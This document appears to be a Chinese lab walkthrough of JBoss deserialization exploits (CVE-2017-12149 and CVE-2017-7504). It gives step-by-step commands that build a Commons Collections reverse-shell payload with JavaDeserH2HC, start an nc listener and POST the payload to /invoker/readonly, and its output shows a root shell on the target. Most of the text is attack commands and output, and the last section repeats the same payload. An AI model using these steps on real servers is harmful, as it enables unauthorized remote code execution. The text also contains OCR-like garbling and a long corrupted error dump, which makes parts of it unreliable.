# JBOSS反序列化漏洞

CVE-2017-12149

## 环境准备

- git clone https://github.com/joaomatosf/JavaDeserH2HC.git
  - 攻击机kali: 192.168.2.13
  - 靶机: 192.168.2.254

## 开始攻击

• 首先cd到我们克隆下来的文件里,查看文件结构

- 编译并生成序列化数据 .class 文件
- javac -cp .:commons-collections-3.2.1.jar
  ReverseShellCommonsCollectionsHashMap.java

```
──(root็otokali)-[/home/kali/桌面/JavaDeserH2HC]
─# javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
```

- 序列化恶意数据到文件
- 1 # 这里填写的ip为攻击机的ip 2 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.13:8888

```
(root⊗kali)-[/home/kali/桌面/JavaDeserH2HC]
# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.13:8888
Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser
```

- 监听 8888 端口
- 1 nc -lvvp 8888
  - 发送 ReverseShellCommonsCollectionsHashMap.ser 文件到靶机
- curl http://192.168.2.254:8080/invoker/readonly --data-binary
  @ReverseShellCommonsCollectionsHashMap.ser

```
(not@kali)-[/home/kali/集順/JavaDeserH2HC]
# curl http://192.168.2.254:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
<html>\head>\title>JBoss \text{Web/3.0.0-CR2} - Error report</title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\title>\t
```

• 反弹成功

```
t®kali)-[~]
  —(root∜kali)-[
-# nc -lvvp 8888
listening on [any] 8888 ...
192.168.2.254: inverse host lookup failed: Unknown host
connect to [192.168.2.13] from (UNKNOWN) [192.168.2.254] 46986
whoami
root
1s
bin
boot
dev
docker-java-home
etc
home
jboss-6.1.0.Final
lib
```

#### 原理

- jboss 介绍: jboss是一个基于J2EE开放源代码应用服务器,也是一个管理EJB的容器和服务器
- 原理:在Jboss的 HttpInvoker 组件中 ReadOnlyAccessFilter 过滤器中,该过滤器 在没有任何安全检查的情况下尝试将来自客户端的数据流进行 反序列化 ,导致攻击者可以通过精心设计序列化数据来执行任意代码

# JBoss反序列化漏洞

cve-2017-7504

# 环境准备

跟上面一样

## 开始攻击

• paylaod也是没有变化的

```
1# 生成序列化数据从 .class文件2javac -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap.java3# 序列化恶意类到文件4java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap192.168.2.13:88885# 监听6nc -lvvp 88887# 发送数据8curl http://192.168.2.254:8080/invoker/readonly --data-binary@ReverseShellCommonsCollectionsHashMap.ser
```

```
(root@kali)-[~]
# nc -lvvp 8888
listening on [any] 8888 ...
192.168.2.254: inverse host lookup failed: Unknown host
connect to [192.168.2.13] from (UNKNOWN) [192.168.2.254] 34864
WHOAMI
whoami
root
[]
```